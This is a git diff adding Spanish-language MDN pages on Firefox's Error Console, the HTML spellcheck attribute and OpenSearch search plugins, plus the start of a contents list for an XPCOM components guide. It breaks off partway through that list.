+<div style="font-size: 9px; line-height: 1; font-style: italic;">(Firefox 4 / Thunderbird 3.3 / SeaMonkey 2.1)</div>
+</div><p></p>
+ <p><span class="goog-gtc-unit" id="goog-gtc-unit-5"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La Consola de errores está deshabilitada de manera predeterminada en Firefox 4.</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100-fuzzy goog-gtc-ph-missing" dir="ltr" style="">Puedes volver a habilitarla cambiando la preferencia </span></span><code>devtools.errorconsole.enabled</code> a <code>true</code><span class="goog-gtc-unit" id="goog-gtc-unit-6"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100-fuzzy goog-gtc-ph-missing" dir="ltr" style=""> y reiniciando el navegador.</span></span></p>
+</div>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-7"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Para obtener información sobre qué excepciones JavaScript se registran en la Consola de errores y cómo hacer que todas las excepciones se registren también, lee el artículo <a>Excepción al iniciar sesión en JavaScript</a> .</span></span> <span class="goog-gtc-unit" id="goog-gtc-unit-8"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Consulta<a href="/en/Setting_up_extension_development_environment#Development_preferences" title="en/Setting_up_extension_development_environment#Development_preferences"> </a><a class="internal">Configuración del entorno de desarrollo de extensiones#Preferencias de desarrollo</a><a href="/en/Setting_up_extension_development_environment#Development_preferences" title="en/Setting_up_extension_development_environment#Development_preferences"> </a>para conocer las preferencias que se deben establecer si se desea ver los errores de Firefox y las extensiones de la Consola de errores.</span></span></p>
+<p><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Antes de </span></span><a href="/en/Gecko" title="en/Gecko">Gecko</a> <span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""><a href="/en/Gecko" title="en/Gecko"> </a>1.8.1 (</span></span><a href="/en/Firefox_2_for_developers" title="en/Firefox_2_for_developers">Firefox 2</a><span class="goog-gtc-unit" id="goog-gtc-unit-9"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">), se llamaba Consola JavaScript (ver <a href="https://bugzilla.mozilla.org/show_bug.cgi?id=265.871" title="ERROR: '265.871' is not a valid bug number nor an alias to a bug.">error 265.871</a>).</span></span></p>
+<table class="topicpage-table">
+ <tbody>
+  <tr>
+   <td>
+    <h4 id="Types_of_errors" name="Types_of_errors"><span class="goog-gtc-unit" id="goog-gtc-unit-10"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Tipos de errores</span></span></h4>
+    <dl>
+     <dt>
+      <span class="goog-gtc-unit" id="goog-gtc-unit-11"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Error</span></span></dt>
+     <dd>
+      <small><span class="goog-gtc-unit" id="goog-gtc-unit-12"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">suele ser un error de sintaxis que evita que el programa se compile.</span></span></small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <span class="goog-gtc-unit" id="goog-gtc-unit-13"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Advertencia</span></span></dt>
+     <dd>
+      <small><span class="goog-gtc-unit" id="goog-gtc-unit-14"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">por lo general permite que el programa se compile, pero advierte sobre una mala codificación y sugiere fallas de diseño.</span></span></small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <span class="goog-gtc-unit" id="goog-gtc-unit-15"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Mensaje</span></span></dt>
+     <dd>
+      <small><span class="goog-gtc-unit" id="goog-gtc-unit-16"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">muy similar a la advertencia, se utiliza muy poco.</span></span></small></dd>
+    </dl>
+    <h4 id="Manipulating_data_displayed_in_Error_Console" name="Manipulating_data_displayed_in_Error_Console"><span class="goog-gtc-unit" id="goog-gtc-unit-17"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Manipulación de los datos mostrados en la Consola de errores</span></span></h4>
+    <p><span class="goog-gtc-unit" id="goog-gtc-unit-18"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">A través del <a>servicio de la Consola</a> se puede acceder a la información que se muestra en la Consola de errores y manipularla.</span></span></p>
+    <p><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Las extensiones pueden escribir en la Consola de errores desde JavaScript utilizando </span></span><code><a href="../en/Components.utils.reportError" rel="internal" title="en/Components.utils.reportError">Components.utils.reportError</a></code>,<span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style=""> o si te sientes cómodo con el registro en la consola que proporciona el sistema operativo, </span></span><code><a href="../en/DOM/window.dump" rel="internal" title="en/DOM/window.dump">dump()</a></code><span class="goog-gtc-unit" id="goog-gtc-unit-19"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">.</span></span></p>
+    <p><span class="goog-gtc-unit" id="goog-gtc-unit-20"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Para abrir la Consola de errores dentro de una ventana del navegador o del correo, utiliza la función <code>toJavaScriptConsole()</code> .</span></span></p>
+   </td>
+   <td>
+    <h4 id="Alternatives" name="Alternatives"><span class="goog-gtc-unit" id="goog-gtc-unit-21"><span class="goog-gtc-translatable goog-gtc-from-tm goog-gtc-from-tm-score-100" dir="ltr" style="">Alternativas</span></span></h4>
+    <dl>
+     <dt>
+      <a class="link-https" href="https://addons.mozilla.org/firefox/addon/1815" title="https://addons.mozilla.org/firefox/addon/1815"><span class="goog-gtc-unit" id="goog-gtc-unit-22"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Consola <sup>2</sup></span></span></a></dt>
+     <dd>
+      <small><span class="goog-gtc-unit" id="goog-gtc-unit-23"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">Esta extensión proporciona un sustituto para la Consola de errores, corrigiendo muchos de sus errores e implementando solicitudes de mejora que se pedían desde hacía tiempo.</span></span></small></dd>
+    </dl>
+    <dl>
+     <dt>
+      <a class="link-https" href="https://addons.mozilla.org/firefox/addon/1843" title="https://addons.mozilla.org/firefox/addon/1843"><span class="goog-gtc-unit" id="goog-gtc-unit-24"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Firebug</span></span></a></dt>
+     <dd>
+      <small><span class="goog-gtc-unit" id="goog-gtc-unit-25"><span class="goog-gtc-translatable goog-gtc-from-human" dir="ltr" style="">La extensión para Firefox también integra la Consola de errores con <a class="external" href="http://www.google.com/url?q=http%3A%2F%2Fwww.getfirebug.com%2Ferrors.html&amp;sa=D&amp;sntz=1&amp;usg=AFQjCNEYvYzWWL7-46LSUGmffFQqclA32g">varias mejoras</a><a class="external" href="http://www.getfirebug.com/errors.html" title="http://www.getfirebug.com/errors.html"> </a>.</span></span></small></dd>
+    </dl>
+    <h4 id="Related_Topics" name="Related_Topics"><span class="goog-gtc-unit" id="goog-gtc-unit-26"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style="">Temas relacionados</span></span></h4>
+    <dl>
+     <dd>
+      <span class="goog-gtc-unit" id="goog-gtc-unit-27"><span class="goog-gtc-translatable goog-gtc-from-mt" dir="ltr" style=""><a href="/es/JavaScript" title="es/JavaScript">JavaScript</a> , <a href="/es/CSS" title="es/CSS">CSS</a> , <a href="/es/Desarrollo_Web" title="es/Desarrollo_Web">Desarrollo we</a></span></span></dd>
+    </dl>
+   </td>
+  </tr>
+ </tbody>
+</table>
+<p> </p>
diff --git a/files/es/control_de_la_corrección_ortográfica_en_formularios_html/index.html b/files/es/control_de_la_corrección_ortográfica_en_formularios_html/index.html
new file mode 100644
index 0000000000..5a5e049233
--- /dev/null
+++ b/files/es/control_de_la_corrección_ortográfica_en_formularios_html/index.html
@@ -0,0 +1,72 @@
+---
+title: Control de la corrección ortográfica en formularios HTML
+slug: Control_de_la_corrección_ortográfica_en_formularios_HTML
+tags:
+  - Desarrollo_Web
+  - Gestión de configuración
+  - HTML
+  - Intermedio
+  - Todas_las_Categorías
+  - XHTML
+translation_of: Web/HTML/Global_attributes/spellcheck
+---
+<p><span class="seoSummary">{{ gecko_minversion_header("1.8.1") }} Firefox 2 incorpora un corrector ortográfico para las áreas y los campos de texto de los formularios web.</span> Usando la interfaz "about:config" el usuario puede activar o desactivar el corrector, además, puede indicar si desea o no habilitar la corrección ortográfica y si debe habilitarse para áreas y campos de texto o sólo en áreas de texto.</p>
+
+<p>Por defecto, se comprueban las áreas de texto y los documentos en <code>designMode</code>, pero los campos de texto no. Esto se debe a que sería una distracción para los usuarios si Firefox marca cosas como el ID de usuario y direcciones de correo electrónico como errores.</p>
+
+<p>Sin embargo, puede haber situaciones en las que este comportamiento no sea el más apropiado. Por ejemplo, si un área de texto va a ser usada para editar código HTML, u otro tipo de datos que no sean texto simple, el corrector ortográfico puede resultar un estorbo en vez de una ayuda. También puede haber casos en los que un sitio quiera recomendarle a Firefox que active la corrección ortográfica en un campo de texto específico; por ejemplo, para los cuadros de búsqueda y los campos de asunto del correo electrónico.</p>
+
+<p>Si un sitio web desea recomendar si usar o no la corrección ortográfica para un elemento <code>&lt;input type="text"&gt;</code> concreto, se puede usar el atributo <code>spellcheck</code>, especificando el valor <code>true</code> para recomendar la activación del corrector, o <code>false</code> para desaconsejarla.</p>
+
+<p>Ten en cuenta que la recomendación del sitio puede ser ignorado si el usuario ha desactivado la corrección ortográfica en su totalidad fijando <code>layout.spellcheckDefault</code> a "0". Si <code>layout.spellcheckDefault</code> tiene cualquier otro valor, el recomendaciones se tienen en cuenta.</p>
+
+<p>Por ejemplo, el siguiente código HTML recomienda el uso del corrector en un campo de texto simple:</p>
+
+<pre class="eval"><span class="nowiki">&lt;input type="text" size="50" spellcheck="true"&gt;</span>
+</pre>
+
+<p>Del mismo modo, se puede desaconsejar la corrección en un área de texto con un código HTML como este:</p>
+
+<pre class="eval"><span class="nowiki">&lt;textarea spellcheck="false"&gt;&lt;/textarea&gt;</span>
+</pre>
+
+<p>Se puede controlar un documento en <code>designMode</code> (habitualmente usado para la edición de texto enriquecido), poniendo el atributo <code>spellcheck</code> en la etiqueta <code>&lt;body&gt;</code> de los documentos. <span class="comment">N.T. Esto del designMode no me gusta</span></p>
+
+<p>También se puede usar el atributo <code>spellcheck</code> en otros elementos, como en los elementos <code>&lt;span&gt;</code> o <code>&lt;div&gt;</code>, en tal caso, cualquier elemento <code>&lt;input&gt;</code> contenido por estos elementos heredará ese atributo. Los elementos <code>&lt;input&gt;</code> que no tengan un atributo <code>spellcheck</code> lo heredarán de sus padres, y si estos tampoco lo tienen, se aplicará la configuración por defecto.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: html">&lt;div spellcheck="true"&gt;
+  &lt;label&gt;Escribe una oración: &lt;/label&gt;&lt;input type="text" size="50"&gt;
+  &lt;br&gt;
+  &lt;label&gt;Escriba otra: &lt;/label&gt;&lt;input type="text" size="50"&gt;
+&lt;/div&gt;
+&lt;br&gt;
+&lt;label&gt;Escriba una tercera: &lt;/label&gt;&lt;input type="text" size="50"&gt;
+</pre>
+
+<p>En este fragmento de código HTML, los dos primeros campos de texto se comprueban mientras que el tercero no.</p>
+
+<p id="lang">{{ h1_gecko_minversion("Controlar el idioma del corrector ortográfico", "9.0") }}</p>
+
+<p>A partir de Gecko 9.0 {{ geckoRelease("9.0") }}, el corrector ortográfico utiliza un elemento {{ HTMLElement("input") }} con atributo {{ htmlattrxref("lang", "input") }} para determinar el idioma predeterminado del corrector ortográfico. Si {{ HTMLElement("input") }} no tiene atributo <code>lang</code>, el atributo se busca en cada elemento padre sucesivamente y hacia arriba, hacia el nodo raíz hasta encontrar uno.</p>
+
+<p>De esta manera, si un usuario tiene a la vez instalados los diccionarios Frances e Ingles, y un elemento editable tiene <code>lang="en"</code>, el diccionario Inglés se utilizará automáticamente para ese elemento.</p>
+
+<p>Por ejemplo:</p>
+
+<pre class="brush: html">&lt;html lang="en"&gt;
+&lt;body&gt;
+  &lt;textarea&gt;&lt;/textarea&gt;
+  &lt;textarea lang="fr"&gt;&lt;/textarea&gt;
+  &lt;div lang="ru"&gt;
+    &lt;textarea&gt;&lt;/textarea&gt;
+  &lt;/div&gt;
+&lt;/body&gt;
+&lt;/html&gt;
+</pre>
+--
+
+<p>En este fragmento de código HTML, el primer {{ HTMLElement("textarea") }} será revisado en Inglés, el segundo en Francés, y el tercero en Ruso.
+
+</p><p>Si un elemento especifica un idioma, y el usuario no tiene instalado el diccionario para ese idioma, corrector ortográfico estrá desactivado por defecto, aunque el usuario puede elegir activarlo de forma manual.</p>
diff --git a/files/es/creacion_de_plugins_opensearch_para_firefox/index.html b/files/es/creacion_de_plugins_opensearch_para_firefox/index.html
new file mode 100644
index 0000000000..12c71b6c03
--- /dev/null
+++ b/files/es/creacion_de_plugins_opensearch_para_firefox/index.html
@@ -0,0 +1,154 @@
+---
+title: Creacion de plugins OpenSearch para Firefox
+slug: Creacion_de_plugins_OpenSearch_para_Firefox
+tags:
+  - Agregados
+  - Complementos
+  - OpenSearch
+  - Plugins
+  - Plugins_de_búsqueda
+  - para_revisar
+translation_of: Web/OpenSearch
+---
+<p> </p>
+<h2 id="OpenSearch" name="OpenSearch">OpenSearch</h2>
+<p><a href="es/Firefox_2">Firefox 2</a> admite el formato de descripción <a class="external" href="http://opensearch.org/">OpenSearch</a> para complementos (<em>plugins</em>) de búsqueda. Aquellos complementos que usen <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1#OpenSearch_description_document">la sintaxis OpenSearch</a> son compatibles con Firefox e Internet Explorer 7. Por ello es el formato recomendado para cualquier nuevo desarrollo.</p>
+<p>Firefox admite además capacidades de búsqueda adicionales no incluidas en <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1#OpenSearch_description_document">la sintaxis de descripción OpenSearch</a>, tales como las "sugerencias de búsqueda" y el elemento <code>SearchForm</code>. Este artículo se centrará en la creación de complementos compatibles con OpenSearch que empleen estas capacidades adicionales de Firefox.</p>
+<p>Además, los ficheros de descripción OpenSearch pueden ser anunciados dentro de una página HTML de forma que puedan ser descubiertos automáticamente por el navegador (esto se describe en <a href="#Autodiscovery_of_search_plugins">Detección automática de motores de búsqueda</a>.</p>
+<p>Por último, estos complementos, pueden ser instalados mediante código tal y como se describe en <a href="es/A%c3%b1adir_motores_de_b%c3%basqueda_desde_p%c3%a1ginas_web">Añadir motores de búsqueda desde páginas web</a>.</p>
+<h2 id="El_fichero_de_descripci.C3.B3n_OpenSearch" name="El_fichero_de_descripci.C3.B3n_OpenSearch">El fichero de descripción OpenSearch</h2>
+<p>El fichero XML que describe un motor de búsqueda es bastante sencillo, tal y como se puede ver en la plantilla básica que se muestra más abajo. Las secciones en negrita deben ser personalizadas basándonos en las necesidades particulares del motor para el que estamos escribiendo nuestro complemento.</p>
+<pre class="eval">&lt;OpenSearchDescription xmlns="<span class="nowiki">http://a9.com/-/spec/opensearch/1.1/</span>"
+                       xmlns:moz="<span class="nowiki">http://www.mozilla.org/2006/browser/search/</span>"&gt;
+&lt;ShortName&gt;<strong>engineName</strong>&lt;/ShortName&gt;
+&lt;Description&gt;<strong>engineDescription</strong>&lt;/Description&gt;
+&lt;InputEncoding&gt;<strong>inputEncoding</strong>&lt;/InputEncoding&gt;
+&lt;Image width="16" height="16"&gt;data:image/x-icon;base64,<strong>imageData</strong>&lt;/Image&gt;
+&lt;Url type="text/html" method="<strong>method</strong>" template="<strong>searchURL</strong>"&gt;
+  &lt;Param name="<strong>paramName1</strong>" value="<strong>paramValue1</strong>"/&gt;
+  ...
+  &lt;Param name="<strong>paramNameN</strong>" value="<strong>paramValueN</strong>"/&gt;
+&lt;/Url&gt;
+&lt;Url type="application/x-suggestions+json" template="<strong>suggestionURL</strong>"/&gt;
+&lt;moz:SearchForm&gt;<strong>searchFormURL</strong>&lt;/moz:SearchForm&gt;
+&lt;/OpenSearchDescription&gt;
+</pre>
+<dl>
+ <dt>
+  <strong>ShortName</strong></dt>
+ <dd>
+  Nombre corto para el motor de búsqueda.</dd>
+</dl>
+<dl>
+ <dt>
+  <strong>Description</strong></dt>
+ <dd>
+  Descripción del motor de búsqueda.</dd>
+</dl>
+<dl>
+ <dt>
+  <strong>InputEncoding</strong></dt>
+ <dd>
+  Codificación de caracteres a emplear en los datos que se envían al motor de búsqueda. Por ejemplo, "UTF-8".</dd>
+</dl>
+<dl>
+ <dt>
+  <strong>Image</strong></dt>
+ <dd>
+  Icono de 16x16 codificado en Base-64 que represente al motor de búsqueda. Puedes encontrar una utilidad para generar estos datos en: <a class="external" href="http://software.hixie.ch/utilities/cgi/data/data">The data: URI kitchen</a>.</dd>
+</dl>
+<dl>
+ <dt>
+  <strong>Url</strong></dt>
+ <dd>
+  Describe la(s) URL(s) a emplear para la búsqueda. El atributo <code>method</code> indica si se debe emplear una petición <code>GET</code> o <code>POST</code> para obtener los resultados.</dd>
+</dl>
+<dl>
+ <dd>
+  <div class="note">
+   <strong>Nota:</strong> Internet Explorer 7 no admite peticiones <code>POST</code>.</div>
+ </dd>
+</dl>
+<dl>
+ <dd>
+  Firefox admite dos tipos de URL en el campo <code>type</code>:</dd>
+</dl>
+<ul>
+ <li><code>type="text/html"</code> se usa al especificar la URL a donde se va a enviar la petición de búsqueda.</li>
+ <li><code>type="application/x-suggestions+json"</code> se usa al especificar la URL de donde se van a obtener las sugerencias de búsqueda.</li>
+</ul>
+<dl>
+ <dd>
+  El atributo <code>template</code> indica la forma en que se construirá la URL para la consulta. Dentro de este atributo se pueden introducir plantillas que se expanden de forma dinámica; la más habitual es <code>{searchTerms}</code>, la cual se expande a los términos de búsqueda introducidos por el usuario en la barra de búsquedas. En <a class="external" href="http://www.opensearch.org/Specifications/OpenSearch/1.1/Draft_3#OpenSearch_1.1_parameters">OpenSearch 1.1 parameters</a> se describen los otros tipos admitidos.</dd>
+</dl>
+<dl>
+ <dd>
+  Para consultas que devuelven sugerencias de búsqueda, la URL descrita en <code>template</code> se usa para obtener una lista de sugerencias en el formato JSON (JavaScript Object Notation). Para saber más sobre como incorporar sugerencias de búsqueda en el lado del servidor, ver <a href="es/Permitir_sugerencias_en_los_plugins_de_b%c3%basqueda">Permitir sugerencias en los plugins de búsqueda</a>.</dd>
+</dl>
+<p><img alt="Image:SearchSuggestionSample.png"></p>
+<dl>
+ <dt>
+  <strong>Param</strong></dt>
+ <dd>
+  Los parámetros que es necesario suministrar junto con la consulta, en la forma de pares clave/valor. En los valores es posible emplear las plantillas dinámicas presentadas anteriormente; por ejemplo, se puede usar <code>{searchTerms}</code> para insertar los términos de búsqueda que el usuario introdujo en la barra de búsquedas.</dd>
+</dl>
+<dl>
+ <dd>
+  <div class="note">
+   <strong>Nota:</strong> Internet Explorer 7 no admite este elemento.</div>
+ </dd>
+</dl>
+<dl>
+ <dt>
+  <strong>SearchForm</strong></dt>
+ <dd>
+  La URL donde se encuentra la página de búsquedas del sitio al que hace referencia el complemento que estamos desarrollando. Esto permite al usuario acceder directamente al sitio web en cuestión.</dd>
+ <dd>
+  <div class="note">
+   <strong>Nota:</strong> Dado que este elemento es específico de Firefox y no forma parte de la especificación OpenSearch, en el ejemplo anterior, usamos el prefijo "<code>moz:</code>" en el espacio de nombres XML para asegurarnos que otros agentes de usuario que no admiten este elemento puedan ignoralo de forma segura.</div>
+ </dd>
+</dl>
+<h2 id="Detecci.C3.B3n_autom.C3.A1tica_de_complementos_de_b.C3.BAsqueda" name="Detecci.C3.B3n_autom.C3.A1tica_de_complementos_de_b.C3.BAsqueda">Detección automática de complementos de búsqueda</h2>
+<p>Un sitio web que ofrezca un complemento de búsqueda puede anunciarlo, de forma que los usuarios de Firefox puedan descargarlo e instalarlo fácilmente.</p>
+<p>Para incorporar la detección automática, sólo es necesario añadir una línea a la sección <code>&lt;head&gt;</code> de la página:</p>
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="<em>searchTitle</em>" href="<em>pluginURL</em>"&gt;
+</pre>
+<p>Sustituiremos los elementos en itálica tal y como se explica a continuación:</p>
+<dl>
+ <dt>
+  <strong>searchTitle</strong></dt>
+ <dd>
+  El título de la búsqueda que se va a llevar a cabo; por ejemplo, "Buscar en MDC" o "Búsqueda en Google". Este valor debe coincidir con el <code>ShortName</code> de nuestro complemento.</dd>
+</dl>
+<dl>
+ <dt>
+  <strong>pluginURL</strong></dt>
+ <dd>
+  La URL que debe emplear el navegador para descargar el fichero XML con la descripción del complemento.</dd>
+</dl>
+<p>Si tu sitio ofrece múltiples complementos de búsqueda también es posible que el navegador los descubra de forma automática; basta con repetir el <code>link</code> las veces que sea necesario. Por ejemplo:</p>
+<pre class="eval">&lt;link rel="search" type="application/opensearchdescription+xml" title="MiSitio: Por Autor" href="<a class="external" href="http://www.misitio.com/autores.xml" rel="freelink">http://www.misitio.com/autores.xml</a>"&gt;
+&lt;link rel="search" type="application/opensearchdescription+xml" title="MiSitio: Por Título" href="<a class="external" href="http://www.misitio.com/titulos.xml" rel="freelink">http://www.misitio.com/titulos.xml</a>"&gt;
+</pre>
+<p>De esta forma podemos ofrecer complementos independientes para buscar tanto por autor como por título.</p>
+<h2 id="Resoluci.C3.B3n_de_problemas" name="Resoluci.C3.B3n_de_problemas">Resolución de problemas</h2>
+<p>Si hay algún error en el fichero XML que describe el complemento, seguramente habrá problemas al añadir en Firefox 2 un complemento descubierto automáticamente. El mensaje de error puede no ser de mucha ayuda, así que los siguientes consejos pueden ayudar a encontrar la causa del problema.</p>
+<ul>
+ <li>Asegúrate de que el documento XML de tu complemento está bien formado. Puedes comprobarlo cargando el fichero directamente en Firefox. Los <em>Ampersands</em> en la plantilla de la URL deben ser escapadas con &amp;amp; y las etiquetas (<em>tags</em>) deben ser cerradas con una barra (<code>/</code>) al final o con la correspondiente etiqueta de cierre.</li>
+ <li>El atributo <code>xmlns</code> es importante. Sin él, puedes obtener un mensaje de error indicando que "Firefox no pudo descargar el motor de búsqueda desde: (URL)".</li>
+ <li>Ten en cuente que <strong>debes</strong> incluir una URL del tipo <code>text/html</code> — los complmentos que sólo incluyan URLs del tipo Atom o <a href="es/RSS">RSS</a> (lo cual es válido, pero Firefox no admite) producirán el error "no pudo descargar el motor de búsqueda".</li>
+ <li>Los <em>favicons</em> obtenidos remotamente no deben ser mayores de 10KB (ver {{ Bug(361923) }}).</li>
+</ul>
+<p>Adicionalmente, el servicio de complementos de búsqueda suministra un mecanismo de registro (<em>logging</em>) que puede ser de utilidad a los desarrolladores de complementos. Usa <em>about:config</em> para establecer la preferencia '<code>browser.search.log</code>' al valor <code>true</code>. La información de registro aparecerá en la consola de errores de Firefox (Tools-&gt;Error Console) cuando se añada un complemento de búsqueda.</p>
+<h2 id="Material_de_referencia" name="Material_de_referencia">Material de referencia</h2>
+<ul>
+ <li><a class="external" href="http://opensearch.org/">OpenSearch - Documentación oficial</a></li>
+ <li>Technorati.com tiene un ejemplo de fichero XML en <a class="external" href="http://technorati.com/osd.xml" rel="freelink">http://technorati.com/osd.xml</a></li>
+ <li>Más información sobre problemas en la detección automática en bugzilla {{ Bug(340208) }}</li>
+ <li>Wikipedia - <a class="external" href="http://es.wikipedia.org/wiki/Data:_URL"><code>data:</code> URL</a></li>
+ <li><a class="external" href="http://searchy.protecus.de/">Searchy</a> - <a class="external" href="http://searchy.protecus.de/en/add2.php">Crea</a> tu propio complemento o usa <a class="external" href="http://searchy.protecus.de/en/searchbox-add-ons.php">la lista de complementos</a>.</li>
+ <li><a class="external" href="http://www.searchplugins.net">searchplugins.net</a> - Crea complementos OpenSearch plugins para ser usados con Firefox 2. <a class="external" href="http://www.searchplugins.net/pluginlist.aspx">Lista de complementos de búsqueda</a></li>
+ <li><a class="external" href="http://ready.to/search/en/">Ready2Search</a> - Crea complementos OpenSearch. <a class="external" href="http://ready.to/search/make/en_make_plugin.htm">Búsquedas personalizadas a través de Ready2Search</a></li>
+</ul>
+<p><span class="comment">Interwiki link</span></p>
+<p>{{ languages( { "ca": "ca/Creaci\u00f3_de_connectors_OpenSearch_per_al_Firefox", "en": "en/Creating_OpenSearch_plugins_for_Firefox", "fr": "fr/Cr\u00e9ation_de_plugins_OpenSearch_pour_Firefox", "ja": "ja/Creating_OpenSearch_plugins_for_Firefox", "pl": "pl/Tworzenie_wtyczek_OpenSearch_dla_Firefoksa", "pt": "pt/Criando_plugins_OpenSearch_para_o_Firefox" } ) }}</p>
diff --git a/files/es/creación_de_componentes_xpcom/index.html b/files/es/creación_de_componentes_xpcom/index.html
new file mode 100644
index 0000000000..036df7b989
--- /dev/null
+++ b/files/es/creación_de_componentes_xpcom/index.html
@@ -0,0 +1,274 @@
+---
+title: Creación de Componentes XPCOM
+slug: Creación_de_Componentes_XPCOM
+tags:
+  - Todas_las_Categorías
+  - XPCOM
+  - páginas_a_traducir
+translation_of: Mozilla/Tech/XPCOM/Guide/Creating_components
+---
+<p></p><div class="prevnext" style="text-align: right;">
+    <p><a href="/es/docs/Creating_XPCOM_Components:Preface">Siguiente  »</a></p>
+</div><p></p>
+
+<h3 id="Prefacio" name="Prefacio"><a href="/es/Creación_de_Componentes_XPCOM/Prefacio" title="es/Creación_de_Componentes_XPCOM/Prefacio">Prefacio</a></h3>
+
+<dl>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Prefacio#Qui.C3.A9n_debe_leer_este_Libro" title="es/Creación_de_Componentes_XPCOM/Prefacio#Qui.C3.A9n_debe_leer_este_Libro">Quién debe leer este libro</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Prefacio#Organizaci.C3.B3n_del_Tutorial" title="es/Creación_de_Componentes_XPCOM/Prefacio#Organizaci.C3.B3n_del_Tutorial">Organización del tutorial</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Prefacio#Continuando_con_los_Ejemplos" title="es/Creación_de_Componentes_XPCOM/Prefacio#Continuando_con_los_Ejemplos">Continuando con los ejemplos</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Prefacio#Convenciones" title="es/Creación_de_Componentes_XPCOM/Prefacio#Convenciones">Convenciones</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Prefacio#Agradecimientos" title="es/Creación_de_Componentes_XPCOM/Prefacio#Agradecimientos">Agradecimientos</a></dd>
+</dl>
+
+<h3 id="Un_vistazo_de_XPCOM" name="Un_vistazo_de_XPCOM"><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM">Un vistazo a XPCOM</a></h3>
+
+<dl>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#La_Soluci.C3.B3n_XPCOM" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#La_Soluci.C3.B3n_XPCOM">La Solución XPCOM</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Gecko" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Gecko">Gecko</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Componentes" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Componentes">Componentes</a></dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Interfases" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Interfases">Interfaces</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Interfaces_y_Encapsulaci.C3.B3n" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Interfaces_y_Encapsulaci.C3.B3n">Interfaces y encapsulamiento</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#La_Interfaz_Base_nsISupports" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#La_Interfaz_Base_nsISupports">La interfaz base <code>nsISupports</code></a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Identificadores_XPCOM" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Identificadores_XPCOM">Identificadores XPCOM</a>
+ <dl>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#CID" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#CID">CID</a></dd>
+  <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Contract_ID" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Contract_ID">Contract ID</a></dd>
+ </dl>
+ </dd>
+ <dd><a href="/es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Factor.C3.ADas" title="es/Creación_de_Componentes_XPCOM/Un_vistazo_de_XPCOM#Factor.C3.ADas">Factorías</a>
+ <dl>
